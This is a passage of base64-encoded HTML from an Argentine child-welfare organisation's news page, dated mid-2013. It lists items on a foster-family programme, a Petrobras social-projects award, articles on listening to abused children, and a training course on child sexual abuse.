yBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhla